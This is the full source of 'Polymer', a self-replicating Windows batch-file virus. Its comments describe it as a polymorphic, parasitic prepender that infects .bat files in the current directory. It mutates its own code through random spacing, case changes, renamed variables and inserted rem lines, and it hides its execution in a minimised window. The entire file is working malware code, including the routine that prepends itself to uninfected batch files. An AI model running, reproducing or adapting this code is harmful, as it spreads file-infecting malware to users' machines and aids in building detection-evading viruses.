@if /i "%1" == "xrgb" ( @echo off rem _Polymer rem _roygbiv rem 26/12/2012 (but this line will be lost) rem some of its features rem - parasitic direct action infector of bat files rem - infects in the current directory rem - bat file prepender rem - random spacing rem - random case mapping rem - random variable names rem - random rem insertion rem - "stealth" execution (secondary window, no delay to run host) rem pure batch code! setlocal enabledelayedexpansion time /t > rb rem this is how to assign environment variables using file content for /f "tokens=*" %%a in ( rb ) do ( rem use "_" to keep rem line and without needing more parsing code rem _#p#pa set _seed=%%a ) del rb rem requires hh:mm format rem _#x_seed#c~3,2#x set _seed=!_seed:~3,2! rem assign our variables to allow replacement rem must not be substrings of each other rem __seed set _nameo1=_seed rem __nameo set _nameo2=_nameo rem __namen set _nameo3=_namen rem __alpha set _nameo4=_alpha rem __out set _nameo5=_out rem __val1 set _nameo6=_val1 rem __val2 set _nameo7=_val2 rem __val3 set _nameo8=_val3 rem __val4 set _nameo9=_val4 rem __atok set _nameo10=_atok rem __btok set _nameo11=_btok rem __ctok set _nameo12=_ctok rem __dtok set _nameo13=_dtok rem __etok set _nameo14=_etok rem __s1 set _nameo15=_s1 rem __s2 set _nameo16=_s2 rem __prev1 set _nameo17=_prev1 rem __prev2 set _nameo18=_prev2 rem __prev3 set _nameo19=_prev3 rem __chr set _nameo20=_chr rem __tok set _nameo21=_tok rem __ind set _nameo22=_ind rem _:parse set _nameo23=:parse rem _:rnd set _nameo24=:rnd rem _:randstr set _nameo25=:randstr rem _:addsp set _nameo26=:addsp rem _:spc set _nameo27=:spc rem _:addch set _nameo28=:addch rem _:addlc set _nameo29=:addlc rem _:findc set _nameo30=:findc rem _:addcs set _nameo31=:addcs rem _:findeq set _nameo32=:findeq rem _:fixset set _nameo33=:fixset rem _:addbr set _nameo34=:addbr rem _:addrl set _nameo35=:addrl rem _:addrem set _nameo36=:addrem rem _:repvar set _nameo37=:repvar rem _:inf set _nameo38=:inf rem __xtok set _nameo39=_xtok rem alphabet for case-mapping rem alphabets are extended to 32 bytes to allow masked indexing rem _abcdefghijklmnopqrstuvwxyzrgbrgbABCDEFGHIJKLMNOPQRSTUVWXYZdefjam rem trailing space! set _alpha=abcdefghijklmnopqrstuvwxyzrgbrgbABCDEFGHIJKLMNOPQRSTUVWXYZdefjam rem construct new names (and see later for the loop to do replacement) for /l %%a in ( 1 , 1 , 39 ) do ( rem _ set _out= call :rnd set /a _val4 = "_val1&3" set /a _val4 += 8 call :randstr rem _#x_nameo#p#pa#c~0,1#x#x_out#x set _namen%%a=!_nameo%%a:~0,1!!_out! rem empty these now because we need them empty later rem _ set _val1= rem _ set _val4= ) rem tokenise self for /f "tokens=*" %%a in ( %~nx0 ) do ( echo/ %%a>> rb rem _#p#pa set _xtok=%%a rem must match backwards because of prepended spaces rem cannot use casemap on "xrgb" part because parser will stop too soon rem _xtok: if /i "!_xtok:~-4!" == "xrgb" ( goto :parse ) rem _ set _xtok= ) :parse del rc for /f "tokens=*" %%# in ( rb ) do ( for /f "tokens=1-26" %%a in ( "%%#" ) do ( rem _ set _out= call :addsp rem _#p#pa set _atok=%%a rem _atok: if "!_atok:~0,1!" == "@" ( rem _#x_out#x@ set _out=!_out!@ rem _#x_atok#c~1#x set _atok=!_atok:~1! ) rem _#p#pb set _btok=%%b rem _#p#pc set _ctok=%%c rem _#p#pd set _dtok=%%d rem _atok: echo if /i "!_atok:~0,4!" == "echo" ( call :addch echo rem _atok: if "!_atok:~4,1!" == "/" ( rem _#x_out#x/ set _out=!_out!/ call :addsp rem _btok: if "!_btok:~0,1!" == "%%" ( rem _#x_out#x#x_btok#x set _out=!_out!!_btok! ) else ( rem _#x_out#x#t#t#x#x_prev2#x#t#t#x#x_btok#c~-2#x set _out=!_out!^^!!_prev2!^^!!_btok:~-2! ) call :addsp rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! ) else ( call :addsp rem _btok call :addch !_btok! ) ) else ( rem _atok if "!_atok!" == ")" ( rem _#x_out#x#t) set _out=!_out!^) rem _btok else if /i "!_btok!" == "else" ( rem support "else if" would need more parsing code call :addsp rem _btok call :addcs !_btok! rem _#x_out#x( set _out=!_out!( ) ) else ( rem for labels rem _atok: if "!_atok:~0,1!" == ":" ( rem _#x_out#x: set _out=!_out!: rem _atok: call :addch !_atok:~1! ) else ( rem _atok rem if /i "!_atok!" == "rem" ( rem for special "rem" lines rem _btok: if "!_btok:~0,1!" == "_" ( rem _atok call :addcs !_atok! rem _#x_out#x#x_btok#x set _out=!_out!!_btok! rem _ctok if "!_ctok!" neq "" ( call :addsp rem _ctok: if "!_ctok:~0,1!" == "_" ( rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! ) else ( rem _ctok call :addch !_ctok! ) ) ) else ( rem ignore regular "rem" lines rem _ set _out= ) ) else ( rem _atok call :addcs !_atok! rem _atok call if /i "!_atok!" == "call" ( rem _#x_out#x: set _out=!_out!: rem _btok: call :addch !_btok:~1! rem _ set _s1= rem _prev1 rem if /i "!_prev1!" == "rem" ( call :addsp rem _#x_out#x#t#t#x#x_prev2#x#x_ctok#x#t#t#x set _out=!_out!^^!!_prev2!!_ctok!^^! rem _prev3 if "!_prev3!" neq "" ( rem the "call repvar _atok _btok" line call :addsp rem _#x_out#x#t#t#x#x_prev3#x#t#t#x set _out=!_out!^^!!_prev3!^^! ) rem _1 set _s1=1 ) rem _s1 if "!_s1!" == "" ( rem _ctok if "!_ctok!" neq "" ( call :addsp rem _ctok: if "!_ctok:~0,1!" == "%%" ( rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! ) else ( rem _ctok call :addch !_ctok! ) ) ) ) else ( rem _atok setlocal if /i "!_atok!" == "setlocal" ( rem _btok call :addch !_btok! ) else ( rem _#p#pe set _etok=%%e rem _atok time if /i "!_atok!" == "time" ( rem _#x_out#x/ set _out=!_out!/ call :addcs t rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! call :addsp rem _dtok call :addch !_dtok! ) else ( rem _atok for if /i "!_atok!" == "for" ( rem _btok: if "!_btok:~0,1!" == "/" ( rem _#x_out#x/ set _out=!_out!/ rem _btok: call :addcs !_btok:~1! rem _r set _s1=r rem _btok: f if /i "!_btok:~1!" == "f" ( rem _#x_out#x" set _out=!_out!" rem _ctok: call :addch !_ctok:~1,6! rem _#x_out#x#x_ctok#c~7#x set _out=!_out!!_ctok:~7! call :addsp rem _#x_dtok#x set _ctok=!_dtok! rem _#x_etok#x set _dtok=!_etok! rem _ set _s1= ) rem can't use casemap here because token is case-sensitive rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! call :addsp call :addcs in rem _#x_out#x( set _out=!_out!( call :addsp rem _s1 if "!_s1!" == "" ( rem _#p#pg set _atok=%%g rem _atok: if "!_atok:~1,1!" == "~" ( rem _#x_out#x#p#p~ set _out=!_out!%%~ call :addch nx rem _#x_out#x0 set _out=!_out!0 ) else ( rem _atok: if "!_atok:~1,1!" == "1" ( rem _#x_out#x#x_atok#x set _out=!_out!!_atok! ) else ( rem _atok: if "!_atok:~3,1!" == "#" ( rem _#x_out#x#x_atok#x set _out=!_out!!_atok! ) else ( rem _atok call :addch !_atok! ) ) ) ) else ( rem _#x_out#x#p#pf set _out=!_out!%%f call :addsp rem _#x_out#x#p#pg set _out=!_out!%%g call :addsp rem _#x_out#x#p#ph set _out=!_out!%%h call :addsp rem _#x_out#x#p#pi set _out=!_out!%%i call :addsp rem _#x_out#x#p#pj set _out=!_out!%%j ) ) else ( rem _#x_out#x#x_btok#x set _out=!_out!!_btok! call :addsp rem _ctok call :addcs !_ctok! rem _#x_out#x( set _out=!_out!( call :addsp rem _etok: if "!_etok:~0,1!" == "*" ( rem _#x_out#x*. set _out=!_out!*. rem _etok: call :addch !_etok:~2! ) else ( rem _etok call :addch !_etok! ) ) call :addsp rem _#x_out#x#t) set _out=!_out!^) call :addsp call :addcs do rem _#x_out#x( set _out=!_out!( ) else ( rem _atok set if /i "!_atok!" == "set" ( rem _btok if /i "!_btok!" == "/a" ( rem _#x_out#x/ set _out=!_out!/ call :addcs a rem _#x_out#x#x_ctok#x set _out=!_out!!_ctok! call :addsp rem _#x_out#x#x_dtok#x set _out=!_out!!_dtok! call :addsp rem _#x_out#x#x_etok#x set _out=!_out!!_etok! ) else ( call :findeq ) ) else ( rem _atok del if /i "!_atok!" == "del" ( rem _btok call :addch !_btok! ) else ( rem _atok if if /i "!_atok!" == "if" ( rem _r set _s1=r rem _r set _s2=r rem _btok if /i "!_btok!" == "/i" ( rem _#x_out#x/ set _out=!_out!/ call :addcs i rem _#p#pc set _btok=%%c rem _ set _s1= rem to fix the "if /i "_tok:~0,1" neq "_ch" (" line rem _btok: if "!_btok:~5,1!" == "_" ( rem _#x_btok#c~0,6#x set _btok=!_btok:~0,6! rem _ set _ctok= rem _gm set _dtok=gm ) else ( rem _btok: if "!_btok:~1,1!" == "%%" ( rem _ set _s2= ) ) ) rem _s2 if "!_s2!" == "" ( rem _#x_out#x#x_btok#x set _out=!_out!!_btok! ) else ( rem _prev2 if "!_prev2!" == "_out" ( rem the "if "_out" == """ line rem _#x_out#x"#t#x#x_prev2#x#t#x" set _out=!_out!"^!!_prev2!^!" ) else ( rem _#x_out#x"#t#x#x_prev2#x#x_btok#c~1,-1#x#t#x" set _out=!_out!"^!!_prev2!!_btok:~1,-1!^!" ) ) rem _s1 if "!_s1!" == "" ( rem more fixes for the "if /i "_tok:~0,1" neq "_ch" (" line rem _ctok if "!_ctok!" neq "" ( rem _#p#pd set _ctok=%%d ) ) call :addsp rem to fix the two "if "_?tok:~0,1" == ":" (" lines rem _ctok if "!_ctok!" == "(" ( rem _== set _ctok=== rem _":" set _dtok=":" ) rem _ctok if "!_ctok!" == "==" ( rem _#x_out#x== set _out=!_out!== ) else ( rem _ctok lss if /i "!_ctok!" == "lss" ( rem _ctok call :addch !_ctok! ) else ( call :addch neq ) ) call :addsp rem _s1 if "!_s1!" == "" ( rem and more fixes for the "if /i "_tok:~0,1" neq "_ch" (" line rem _ctok if "!_ctok!" neq "" ( rem _#p#pe set _dtok=%%e ) ) rem _ set _s1= rem _prev1 rem if /i "!_prev1!" == "rem" ( rem _prev3 if "!_prev3!" neq "" ( rem _prev3: if "!_prev3:~0,1!" == "_" ( rem _#x_out#x"#t#x#x_prev3#x#x_dtok#c~1,-1#x#t#x" set _out=!_out!"^!!_prev3!!_dtok:~1,-1!^!" ) else ( rem _#x_out#x" set _out=!_out!" rem _dtok: call :addch !_dtok:~1,-1! rem _#x_out#x" set _out=!_out!" ) rem _r set _s1=r ) ) rem _s1 if "!_s1!" == "" ( rem _#x_out#x#x_dtok#x set _out=!_out!!_dtok! ) call :addsp rem _#x_out#x( set _out=!_out!( ) else ( rem _atok goto if /i "!_atok!" == "goto" ( rem _btok if /i "!_btok!" == ":eof" ( rem _#x_out#x: set _out=!_out!: rem _btok: call :addch !_btok:~1! ) else ( rem _#x_out#x#x_btok#x set _out=!_out!!_btok! ) ) else ( rem _atok ren if /i "!_atok!" == "ren" ( rem _#x_out#x#p#p1 set _out=!_out!%%1 call :addsp rem _ctok call :addch !_ctok! ) else ( rem _atok copy if /i "!_atok!" == "copy" ( rem _btok call :addcs !_btok! rem _#x_out#x+ set _out=!_out!+ call :addsp rem _dtok call :addcs !_dtok! rem _#x_out#x#p#p1 set _out=!_out!%%1 ) else ( rem _atok start if /i "!_atok!" == "start" ( rem _#x_out#x/ set _out=!_out!/ rem _btok: call :addcs !_btok:~1! rem _#x_out#x#p#p0 set _out=!_out!%%0 call :addsp rem _dtok call :addch !_dtok! ) rem else the "exit" line ) ) ) ) ) ) ) ) ) ) ) ) ) ) rem _out if "!_out!" neq "" ( for /l %%$ in ( 1 , 1 , 39 ) do ( rem _#x_nameo#p#p$#x set _atok=!_nameo%%$! rem _#x_namen#p#p$#x set _btok=!_namen%%$! rem _atok _btok call :repvar !_atok! !_btok! ) rem _out echo/ !_out!>> rc rem _#x_prev2#x set _atok=!_prev2! rem save parts of this line for next round rem _#p#pa set _prev1=%%a rem _#p#pb set _prev2=%%b rem _#p#pc set _prev3=%%c rem no more "rem" after last endif or "@start" lines because visible rem _atok: norem if /i "!_atok:~1!" neq "norem" ( rem _prev2: norem if /i "!_prev2:~1!" neq "norem" ( call :addbr ) ) ) ) ) del rb for %%a in ( rc ) do ( rem _#p#p~za set _s1=%%~za ) for %%a in ( *.bat ) do ( rem _#p#p~za set _s2=%%~za set /a _s2 += _s1 rem _s2 if "!_s2!" lss "60000" ( rem _#p#pa set _atok=%%a rem _atok call :inf !_atok! ) ) del rc exit :rnd set /a _seed *= 0x343fd set /a _seed += 0x269ec3 set /a _seed = "_seed&0x7fffffff" set /a _val1 = "_seed>>16" goto :eof :randstr rem support "for" loop here would need more parsing code because of variable start value rem _val4 if "!_val4!" neq "0" ( call :rnd set /a _val1 = "_val1&63" rem _#x_out#x#x_alpha#c~#p_val1#p,1#x set _out=!_out!!_alpha:~%_val1%,1! set /a _val4 -= 1 goto :randstr ) goto :eof :addsp call :rnd set /a _val1 = "_val1&3" set /a _val1 += 1 :spc rem support "for" loop here would need more parsing code because of variable start value rem _#x_out#x#x_alpha#c~64,1#x set _out=!_out!!_alpha:~64,1! set /a _val1 -= 1 rem _val1 if "!_val1!" neq "0" ( goto :spc ) goto :eof :addch rem _#p1 set _tok=%1 :addlc rem _0 set _ind=0 :findc rem support "for" loop here would need more parsing code because of variable start value rem _#x_alpha#c~#p_ind#p,1#x set _chr=!_alpha:~%_ind%,1! rem _tok: _chr if /i "!_tok:~0,1!" neq "!_chr!" ( set /a _ind += 1 goto :findc ) call :rnd rem _#p1 set /a _val1 = "_val1&32" set /a _ind = "_ind&31" set /a _val1 += "_ind" rem _#x_alpha#c~#p_val1#p,1#x set _val1=!_alpha:~%_val1%,1! rem _#x_out#x#x_val1#x set _out=!_out!!_val1! rem _#x_tok#c~1#x set _tok=!_tok:~1! rem _tok if "!_tok!" neq "" ( goto :addlc ) goto :eof :addcs call :addch %1 goto :addsp :findeq rem _#x_btok#c~0,1#x set _atok=!_btok:~0,1! rem _#x_out#x#x_atok#x set _out=!_out!!_atok! rem _atok if "!_atok!" neq "=" ( rem _#x_btok#c~1#x set _btok=!_btok:~1! goto :findeq ) rem _#x_prev2#x set _btok=!_prev2! :fixset rem _#x_btok#c~1,1#x set _atok=!_btok:~1,1! rem _atok if "!_atok!" neq "" ( rem _atok if "!_atok!" == "#" ( rem _#x_btok#c~2,1#x set _atok=!_btok:~2,1! rem _#x_btok#c~2#x set _btok=!_btok:~2! rem _atok if "!_atok!" == "p" ( rem _#x_out#x#p#p set _out=!_out!%% ) else ( rem _atok if "!_atok!" == "x" ( rem _#x_out#x#t#t#x set _out=!_out!^^! ) else ( rem _atok if "!_atok!" == "t" ( rem _#x_out#x#t#t#t#t set _out=!_out!^^^^ ) else ( rem "c" rem _#x_out#x: set _out=!_out!: ) ) ) ) else ( rem _#x_out#x#x_atok#x set _out=!_out!!_atok! rem _#x_btok#c~1#x set _btok=!_btok:~1! ) goto :fixset ) rem _prev2: rgb if /i "!_prev2:~27,3!" == "rgb" ( rem append space to the "set _alpha=abcde..." line call :addsp ) goto :eof :addbr call :rnd set /a _val2 = "_val1&3" :addrl rem support "for" loop here would need more parsing code because of variable start value rem _val2 if "!_val2!" neq "0" ( rem _ set _out= call :addsp call :addcs rem call :rnd set /a _val3 = "_val1&3" :addrem rem support "for" loop here would need more parsing code because of variable start value rem _val3 if "!_val3!" neq "0" ( call :rnd set /a _val4 = "_val1&7" call :randstr call :addsp set /a _val3 -= 1 goto :addrem ) rem _out echo/ !_out!>> rc set /a _val2 -= 1 goto :addrl ) goto :eof :repvar rem _#x_out:#p1=#p2#x set _out=!_out:%1=%2! goto :eof :inf for /f "tokens=*" %%b in ( %1 ) do ( rem _#p#pb set _atok=%%b rem infection marker is "@if" line rem _atok: if if /i "!_atok:~1,2!" neq "if" ( ren %1 rb copy rc + rb %1 del rb ) rem read only the first line rem simpler ways to read would need more parsing code goto :eof ) rem no rem after next "rem" line @rem _norem ) @rem run our code in separate window @rem because it takes a long time to complete @rem host code follows "start" command and runs in this window @rem no rem after next "rem" line @rem _norem @start /min %0 xrgb @echo Polymer running...